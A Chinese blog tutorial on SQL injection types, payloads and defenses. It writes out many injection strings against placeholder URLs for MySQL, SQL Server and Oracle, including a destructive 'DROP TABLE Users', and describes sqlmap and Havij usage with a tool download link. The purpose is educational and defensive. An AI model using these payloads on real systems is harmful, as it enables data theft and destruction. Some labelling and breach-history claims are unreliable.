细说SQL注入:攻击手法与防御策略

article/2025/4/22 11:36:36

一、 SQL注入的基本概念

(一)什么是SQL注入

 

        SQL注入是一种常见的网络攻击技术,它允许攻击者在Web应用程序中插入并执行恶意的SQL代码。这种攻击通常针对的是数据驱动的应用程序,尤其是那些未对用户输入进行充分过滤和处理的应用程序。

        在一个典型的SQL注入攻击中,攻击者通过Web应用程序的输入字段(如搜索框、登录表单等)提交恶意的SQL代码。如果应用程序没有正确地处理这些输入,那么这些SQL代码就可能被数据库服务器执行,从而导致数据泄露、数据篡改甚至是服务器被完全接管

        SQL注入攻击的威力来自于它可以直接对数据库进行操作。数据库通常存储着Web应用程序的核心数据,包括用户信息、交易记录、私密通信等。因此,一次成功的SQL注入攻击可能会对目标组织造成严重的损害。

(二)SQL注入的历史及其影响

        SQL注入攻击并不是新的攻击手法,它最早出现在1990年代末,随着Web应用程序和在线数据库的广泛应用而出现。尽管安全研究人员和开发者们已经花费了大量的时间和资源来防止这种攻击,但是由于许多因素,包括开发人员的安全意识不足、复杂的代码库以及不断变化的攻击技术,SQL注入仍然是一种常见且危险的攻击手法。

        SQL注入攻击已经在无数的安全事件中发挥了关键作用,导致了大量的数据泄露。其中一些最知名的例子包括2011年索尼公司的大规模数据泄露,以及2016年雅虎公司的两次大规模数据泄露。在这些事件中,攻击者利用SQL注入漏洞获取了数亿用户的个人信息。

        SQL注入攻击的影响并不仅限于数据泄露。一次成功的SQL注入攻击可能会导致目标服务器被完全接管,攻击者可以利用这个机会进行更进一步的攻击,例如安装恶意软件、发起拒绝服务攻击,或者使用受害者的服务器作为发起其他攻击的跳板。

 

二、 SQL注入攻击的类型

在我们深入了解各种SQL注入攻击手法之前,首先需要了解SQL注入的各种类型。了解这些类型有助于我们更好地理解攻击者如何利用不同的策略和技术进行攻击。

(一)基于错误的SQL注入

        基于错误的SQL注入是最直接的攻击类型。攻击者尝试输入特殊的SQL代码,使得数据库在处理这些代码时出错,然后根据错误信息获取数据库的信息。这种攻击类型依赖于应用程序将数据库错误信息直接展示给用户,因此开发者可以通过禁止错误信息的显示来防止这种攻击。

(二) 盲SQL注入

        盲注是一种更隐蔽的攻击类型。在这种攻击中,攻击者无法直接看到数据库的错误信息,因此需要通过猜测和推理来获取信息。例如,攻击者可以通过观察应用程序的响应时间或者页面的变化来判断其输入的SQL代码是否有效

(三)时间盲注

        时间盲注是盲SQL注入的一种特殊形式。攻击者在SQL代码中插入特殊的函数,使得数据库在处理某些查询时需要消耗更多的时间。通过观察应用程序的响应时间,攻击者可以判断其输入的SQL代码是否有效。

(四)基于UNION查询的SQL注入

        基于UNION查询的SQL注入是一种常见的攻击类型。攻击者使用UNION操作符来合并来自不同数据表的数据,然后通过修改查询的顺序和结构来获取敏感信息。这种攻击类型需要攻击者对目标数据库的结构有一定的了解。

(五)Out-of-band SQL注入

         Out-of-band SQL注入是一种更复杂的攻击类型。在这种攻击中,攻击者不仅利用应用程序的输入和输出,还利用其他的通信渠道,例如DNS查询或者HTTP请求,来获取数据库的信息。这种攻击类型需要应用程序和数据库都有特定的配置,因此在实际中并不常见。

(六)堆叠查询SQL注入

        堆叠查询SQL注入是一种高级的攻击类型。在这种攻击中,攻击者在一个SQL语句中插入多个查询,以执行更复杂的操作。这种攻击类型需要数据库支持堆叠查询,并且攻击者需要对SQL语言有深入的了解。

(七)布尔盲注

        布尔盲注是盲SQL注入的一种变体。在这种攻击中,攻击者通过观察应用程序的响应来判断其输入的SQL语句是否改变了数据库的布尔值。例如,如果应用程序的响应在SQL语句为真时和为假时有所不同,那么攻击者就可以利用这种差异来获取数据库的信息。

(八)内容基础盲注

        内容基础盲注也是盲SQL注入的一种变体。在这种攻击中,攻击者通过观察应用程序返回的内容来判断其输入的SQL语句是否有效。例如,如果应用程序在SQL语句执行成功时返回的内容和执行失败时返回的内容有所不同,那么攻击者就可以利用这种差异来获取数据库的信息。

三、 SQL注入攻击手法详解

(一)、基于错误的SQL注入攻击手法与案例分析

MySQL:

攻击者可能会试图通过在URL后添加一个单引号(')来引发错误。例如:

http://xxxxx.com/product?id=1'如果应用程序未正确处理此输入,它可能会返回一个类似于以下的错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

这个错误信息表明该网站可能存在SQL注入的漏洞。

        MySQL的错误信息有时可以被用来检索数据库的内容。例如,攻击者可能会尝试使用extractvalue()函数来构造一个XML错误,这个错误将包含数据库的信息。

http://xxxxx.com/product?id=1' or extractvalue(0,concat(0x7e,database())) -- -如果应用程序未正确处理此输入,它可能会返回一个类似于以下的错误信息:\XPATH syntax error: '~test_database

        这个错误信息包含了当前使用的数据库名称(在这个例子中是test_database),这对攻击者来说是非常有价值的信息。

http://xxxxx.com/product?id=1' or extractvalue(0,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1))) -- -这可能返回一个类似于以下的错误信息:XPATH syntax error: '~users'

        这个错误信息揭示了数据库中存在一个名为users的表

SQL Server:

在SQL Server中,攻击者可能会试图使用未定义的函数来引发错误。例如:

http://xxxxx.com/product?id=1;SELECT+convert(int,@@version)如果该应用程序未正确处理此输入,它可能会返回以下错误信息:Conversion failed when converting the varchar value 'Microsoft SQL Server 2016' to data type int.

这个错误信息揭示了数据库类型和版本,这对攻击者来说是非常有价值的信息。

Oracle:

在Oracle中,攻击者可能会试图使用错误的SQL语句来引发错误。例如:

http://xxxxx.com/product?id=1' UNION SELECT NULL FROM dual如果应用程序未正确处理此输入,它可能会返回以下错误信息:ORA-01790: expression must have same datatype as corresponding expression

这个错误信息表明了应用程序后端使用的是Oracle数据库,可能存在SQL注入的漏洞。

(二)、时间盲注攻击手法与案例分析

MySQL:

假设我们有一个网站,其URL为:http://xxxxx.com/product?id=1。攻击者可以尝试使用布尔盲注来检测SQL注入。例如,可以输入以下载荷:

http://xxxxx.com/product?id=1 AND (SELECT LENGTH(user())>10)

如果页面正常加载,说明user()函数的长度大于10。如果页面不加载或返回错误信息,说明user()函数的长度小于等于10。通过这种方法,攻击者可以逐个字符地获取数据库的信息。

SQL Server:

同样,我们假设有一个URL为http://xxxxx.com/product?id=1的网站。针对SQL Server,攻击者可能会使用以下载荷:

http://xxxxx.com/product?id=1 AND (SELECT LEN(USER_NAME())>10)

与MySQL示例类似,攻击者可以根据页面是否正常加载来推断USER_NAME()函数的长度是否大于10。

Oracle:

对于Oracle数据库,攻击者可以使用以下载荷进行时间盲注:

http://xxxxx.com/product?id=1 AND (SELECT CASE WHEN LENGTH(USER)>10 THEN DBMS_LOCK.SLEEP(5) END FROM DUAL)

在这个例子中,如果USER函数的长度大于10,页面将延迟5秒才加载。通过观察页面加载时间,攻击者可以推断数据库信息。

(三)、基于UNION查询的SQL注入攻击手法与案例分析

MySQL:

假设有一个URL为http://xxxxx.com/product?id=1的网站,其后端使用以下SQL查询来获取产品信息:

SELECT * FROM products WHERE id = ?攻击者可以尝试注入以下载荷:http://xxxxx.com/product?id=1 UNION SELECT NULL, user(), NULL, NULL

这里,user()函数返回当前用户的用户名。NULL值用于确保两个SELECT语句返回的列数相同。如果网站没有正确地过滤用户输入,攻击者可能会看到页面上显示出当前用户的用户名。

SQL Server:

假设有一个URL为http://xxxxx.com/product?id=1的网站,攻击者可以尝试注入以下载荷:

http://xxxxx.com/product?id=1 UNION SELECT NULL, USER_NAME(), NULL

这里,USER_NAME()函数返回当前用户的用户名。如同在MySQL示例中,NULL值用于确保两个SELECT语句返回的列数相同。

Oracle:

对于Oracle数据库,攻击者可以尝试注入以下载荷:

http://xxxxx.com/product?id=1 UNION SELECT NULL, USER, NULL FROM DUAL

在这里,USER函数返回当前用户的用户名,DUAL是Oracle中的一个虚拟表。如同在上述示例中,NULL值用于确保两个SELECT语句返回的列数相同。

(四)、堆叠查询SQL注入攻击手法与案例分析

SQL Server:

假设一个应用的URL是http://xxxxx.com/user?id=1,后端SQL查询可能是:SELECT * FROM Users WHERE id = ?。攻击者可以尝试如下的注入:

http://xxxxx.com/user?id=1; DROP TABLE Users

如果应用没有对用户输入进行正确的过滤和转义,那么这个URL的请求将会删除Users表。

Oracle:

在Oracle数据库中,攻击者可以使用相同的策略。例如:

http://xxxxx.com/user?id=1; DROP TABLE Users

与SQL Server的例子一样,如果应用未对用户输入进行正确处理,这个URL的请求将会删除Users表。

(五)、基于布尔的盲注攻击手法与案例分析

MySQL:

假设一个应用的URL是http://xxxxx.com/books?title=XYZ,后端SQL查询可能是:SELECT * FROM Books WHERE title = 'XYZ'。攻击者可以尝试如下的注入:

http://xxxxx.com/books?title=XYZ' AND (SELECT 1 FROM dual WHERE database() like 'test%')

如果数据库的名字以"test"开头,这个URL将返回正常的响应,否则可能会返回错误或没有数据的响应。

SQL Server:

攻击者可以使用类似的策略。例如:

http://xxxxx.com/books?title=XYZ' AND (SELECT 1 WHERE @@version LIKE 'Microsoft SQL Server 2008%')

如果数据库的版本是SQL Server 2008,这个URL将返回正常的响应,否则可能会返回错误或没有数据的响应。

Oracle:

在Oracle数据库中,攻击者也可以使用类似的策略。例如:

http://xxxxx.com/books?title=XYZ' AND (SELECT 1 FROM dual WHERE banner LIKE 'Oracle%')

如果数据库是Oracle,这个URL将返回正常的响应,否则可能会返回错误或没有数据的响应。

(六)、 内容基础盲注攻击手法与案例分析

MySQL:

例如,我们有一个URL如下:http://xxxxx.com/users?id=1,其对应的SQL查询可能是SELECT * FROM users WHERE id = 1。攻击者可以尝试注入一个新的查询,例如:

http://xxxxx.com/users?id=1 AND (SELECT length(database()))>5

如果数据库名称的长度大于5,那么页面将显示id为1的用户的信息。否则,页面可能显示无用户的错误信息。攻击者可以通过改变长度值,逐步猜测出数据库名称的长度。

SQL Server:

在SQL Server中,攻击者可以使用类似的手段:

http://xxxxx.com/users?id=1 AND (SELECT len(@@version))>10

如果数据库版本字符串的长度大于10,那么页面将显示id为1的用户的信息。否则,页面可能显示无用户的错误信息。

Oracle:

在Oracle中,攻击者也可以使用类似的手段:

http://xxxxx.com/users?id=1 AND (SELECT length(user) FROM dual)>5

如果数据库用户名的长度大于5,那么页面将显示id为1的用户的信息。否则,页面可能显示无用户的错误信息。

(七)、延迟注入攻击手法与案例分析

MySQL:

例如,我们有一个URL如下:http://xxxxx.com/users?id=1,其对应的SQL查询可能是SELECT * FROM users WHERE id = 1。攻击者可以尝试注入一个新的查询,例如:

http://xxxxx.com/users?id=1 AND if((SELECT length(database()))>5, sleep(5), null)

如果数据库名称的长度大于5,那么数据库将"睡眠"5秒,页面加载将出现明显延迟。

SQL Server:

在SQL Server中,攻击者可以使用WAITFOR DELAY语句:

http://xxxxx.com/users?id=1; IF (LEN(@@version) > 10) WAITFOR DELAY '00:00:05'

如果数据库版本字符串的长度大于10,那么数据库将等待5秒,页面加载将出现明显延迟。

Oracle:

在Oracle中,攻击者可以使用dbms_pipe.receive_message函数:

http://xxxxx.com/users?id=1 AND (CASE WHEN (LENGTH(user) > 5) THEN dbms_pipe.receive_message(('a'),5) END) FROM dual

如果数据库用户名的长度大于5,那么数据库将等待5秒,页面加载将出现明显延迟。

 

四、 SQL注入攻击工具介绍

SQLmap的使用

        SQLmap是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入漏洞的过程。SQLmap支持多种数据库,包括MySQL, Oracle, PostgreSQL等。使用SQLmap,你可以获取数据库的名称、表、列,甚至是数据。

        基本用法如下:

python sqlmap.py -u "http://www.xxxxxx.com/page.php?id=1"

在这个例子中,-u选项后面跟的是目标网址。

如果你想要SQLmap尝试找出隐藏的参数,可以使用--forms--crawl选项。

Havij的使用

        Havij是一个自动SQL注入工具,使用起来非常简单。只需输入URL,Havij就会自动检测网站是否存在SQL注入漏洞。如果存在,Havij将尝试利用这个漏洞获取数据库的信息。

Havij的基本步骤如下:

  1. 打开Havij,然后在"Target"字段中输入目标URL。

  2. 点击"Analyze"按钮,Havij将分析URL,寻找可能的注入点。

  3. 如果Havij找到了注入点,你可以选择"Tables","Columns"或者"Data",然后点击"Get",Havij将尝试获取这些信息。

超级sql注入工具

         超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,采用C#开发,程序采用自写代码来操作HTTP交互,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入;支持以盲注、错误显示、Union注入等方式来获取数据;支持Access/MySQL/SQLServer/Oracle/PostgreSQL/DB2/SQLite/Informix等数据库;支持手动灵活的进行SQL注入绕过,可自定义进行字符替换等绕过注入防护。

都是中文下载就能看懂,这个工具还是比较好用的,附上下载连接

https://github.com/shack2/SuperSQLInjectionV1/releases/download/1.0.2020.12.14/SQL.SSQLInjection.V1.0.20201214.zip

五、 SQL注入防御策略

输入验证与转义

输入验证是所有安全防御策略的第一步。始终怀疑并验证用户输入的数据,不要假设它们是安全的。所有的用户输入都需要进行适当的验证,并且应当限制输入的类型、长度、格式和范围。

此外,转义用户的输入也是防御SQL注入的重要步骤。例如,你可以使用MySQL的 mysql_real_escape_string() 函数或者PHP的 addslashes() 函数来转义用户输入的特殊字符,这样就可以防止这些特殊字符破坏SQL查询的结构。

使用参数化查询和预编译语句

参数化查询(也被称为预编译语句或者绑定变量)是防御SQL注入的最有效方法。参数化查询可以确保用户输入的数据永远不会被解析为SQL代码。大多数现代编程语言和框架都支持参数化查询,如.NET的SqlCommand,Java的PreparedStatement,PHP的PDO等。

例如,在PHP中,使用PDO进行参数化查询的代码可能如下所示:

$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ? AND password = ?');
$stmt->execute([$email, $password]);

使用最小权限的数据库帐户

遵循最小权限原则,应用程序连接数据库的账户只应该拥有执行必要任务的最小权限。例如,如果应用程序只需要从某个表中读取数据,那么数据库账户就不应该有写入或者删除那个表的权限。这样,即使攻击者利用了SQL注入漏洞,他们也无法进行更多的恶意操作。

更进一步,对于不同的操作和服务,可以使用不同的数据库账户,每个账户都具有各自所需的最小权限。例如,一个用于后台报表生成的账户可能需要读取所有数据的权限,但不需要修改数据的权限。而另一个用于处理用户注册的账户可能需要在用户表中插入新的数据,但不需要读取或者修改已有数据的权限


本篇文章只用作技术交流,利用文章内技术进行违法活动,均与本博主无关!


http://chatgpt.dhexx.cn/article/aS2W1XMt.shtml

相关文章

服务器被cc攻击的简单防御策略(附代码)

CC攻击(也称为网络层攻击或流量攻击)是指企图通过向网站或服务器发送大量伪造的请求,以干扰正常的用户访问的攻击。这些请求可能是来自单个设备的,也可能是来自一群被控制的设备的。为了防御CC攻击,你可以考虑使用以下…

DOS防御策略

该方法能解决一些小型服务的DOS防御问题,成本不高,能在一定程度上起到DOS防御的作用。 原本服务架构 我们的服务器向多个客户机提供服务,这里以腾讯云服务器为例,假设服务商租了一台腾讯云的服务器,一旦服务器收到攻击…

网络安全中的常见攻击类型和防御策略

友情链接:简单实用的IPAD协议框架GeWe框架 网络安全是当前互联网世界中的重要问题。本文将详细介绍常见的网络攻击类型,包括分布式拒绝服务攻击(DDoS)、SQL注入、钓鱼等,并提供相应的防御策略。读者将了解如何识别和应…

会话重放之防御策略、手段

目录 什么是会话重放? 有什么预防手段? 请求添加时间戳或UUID方式实现预防 什么是会话重放? 会话重放是一种攻击方式,攻击者利用先前记录的会话数据来重放或重新发送网络通信流量,以模拟合法用户的身份,…

SQL注入攻击原理及防御策略

一.什么是SQL注入 SQL注入,一般指web应用程序对用户输入数据的合法性没有校验或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执…

安全防御策略trust-untrust-dmz(1)

策略实验 一,规划分析和拓扑图的搭建二,配置思路1,先配置FW000口的IP2,使用IP进入防火墙图形化界面,并且可以创建安全区域3,配置FW100口,其它同理4,配置AR15,配置SERVER2…

浅谈撞库防御策略

2014,12306遭遇撞库攻击,13万数据泄露;2015,乌云网上爆出网易邮箱过亿用户数据由于撞库泄露;数据泄露愈演愈烈,撞库登录成为网站的一大安全威胁,今天小编就和大家探讨一下如何才能够有效的防止撞库攻击。俗语知己知彼,百战不殆,小编在网上找了个撞库教程整理给大家看看…

【UTM使用_入侵防御策略】

UTM使用入侵防御策略 一、网络拓扑图 二、需求描述 外部用户在访问内部的server时启用入侵防御检查;入侵防御策略使用全策略; 三、实验步骤: 配置接口eth1、eth2为路由模式,并设置所需的IP地址 新建IP映射策略,…

网络防御与蓝队实践:探讨网络防御策略、入侵检测系统、安全事件响应等蓝队方面的实际案例和方法

第一章:引言 网络安全一直是当今信息社会中至关重要的话题。随着技术的不断发展,网络威胁也愈发复杂和隐匿。在这样的背景下,网络防御变得尤为重要,蓝队作为网络防御的重要一环,起着至关重要的作用。本文将深入探讨网…

安全世界观 | 常见WEB安全问题及防御策略汇总

1、安全世界观 继上一篇: 我用一个小小的开放设计题,干掉了40%的面试候选人 聊到了Web安全之后,好多朋友也在关注这个话题,今天特意再写一篇。 安全世界观一词是《白帽子讲Web安全》一书的开篇章节,多年后再读经典,仍然…

深度学习的黑魔法防御术:恶意样本(Adversarial Example) 的防御策略综述

随着深度学习(Deep Learning)研究的深入,相关应用已经在许多领域展现出惊人的表现。一方面,深度神经网络(DNN)的强大能力着实吸引着学术界和产业界的眼球。另外一方面,深度学习的安全问题也开始…

CC攻击原理以及如何防御策略

CC攻击原理以及如何防御策略 CC 攻击是一种 DDoS(分布式拒绝服务),它似乎比其他 DDoS 攻击更具技术性。在这种攻击中,看不到假IP,看不到特别大的异常流量,但会导致服务器无法正常连接。 很多创业公司辛辛苦…

服务器安全:浏览器同源策略与跨域请求、XSS攻击原理及防御策略、如何防御CSRF攻击

主要包括 浏览器同源策略与跨域请求XSS攻击原理及防御策略如何使用SpringSecurity防御CSRF攻击CC/DDOS攻击与流量攻击什么是SSL TLS HTTPS? 一、浏览器的同源策略 请求方式:HTTP,HTTPS,Socket等 HTTP请求特点:无状…

常见Web安全问题及防御策略

1、安全世界观 安全世界观一词是《白帽子讲Web安全》一书的开篇章节,多年后再读经典,仍然受益匪浅! 正如开篇所说的:“互联网本来是安全的,自从有了研究安全的人,互联网就不安全了。” 世上没有攻不破的系统&#xff0…

基于联邦学习中毒攻击的防御策略

文章目录 联邦学习简介FL(federal learning)和模型中毒攻击的背景针对模型中毒攻击的防御策略局部模型更新的评估方法基于光谱异常检测的方法( Spectral Anomaly Detection Based Method)基于真理推理的评估方法基于熵的滤波方法基于余弦相似…

DDos攻击防御策略

DDOS攻击防御策略 DDOS(DDOS:Distributed Denial of Service) 分布式拒绝服务攻击. 在信息安全三要素里面—保密性,完整性,可用性,中DDOS(分布式拒绝服务攻击),针对的是目标机器的可用性,这种攻击方式是利用目标系统网络系统功能的的欠缺或者直接消耗其资源,是目标机器木法正常…

网络安全威胁与防御策略

第一章:引言 随着数字化时代的快速发展,网络已经成为人们生活和工作中不可或缺的一部分。然而,网络的广泛应用也引发了一系列严峻的网络安全威胁。恶意软件、网络攻击、数据泄露等问题层出不穷,给个人和企业带来了巨大的风险。本文…

安全文章研读:深度学习对抗攻击防御策略的一些实现

本文整理自哈尔滨工业大学硕士论文:深度学习对抗攻击防御策略的研究与实现 0x01 太长不看 深度学习在表现优异的同时,还存在易受攻击的缺陷。多数防御策略只能应对特定的攻击方法,普适性比较低,另外这些防御策略多为全局过滤扰动…

过拟合与欠拟合的生动理解

文章目录 1、过拟合2、欠拟合3、图像表现4、解决办法 1、过拟合 过拟合(OverFititing):太过贴近于训练数据的特征了,在对应训练集上表现非常优秀,近乎完美的预测/区分了所有的数据,但是在新的测试集上却表…

模型的过拟合与欠拟合

样本数据集:样本数据集总是表现为数据的内在规律(如:yf(x))与随机噪声共同作用的结果。 训练集:训练集是用于训练模型的样本数据集合。我们总是希望通过训练集,找到真实数据的内在规律,同时又希…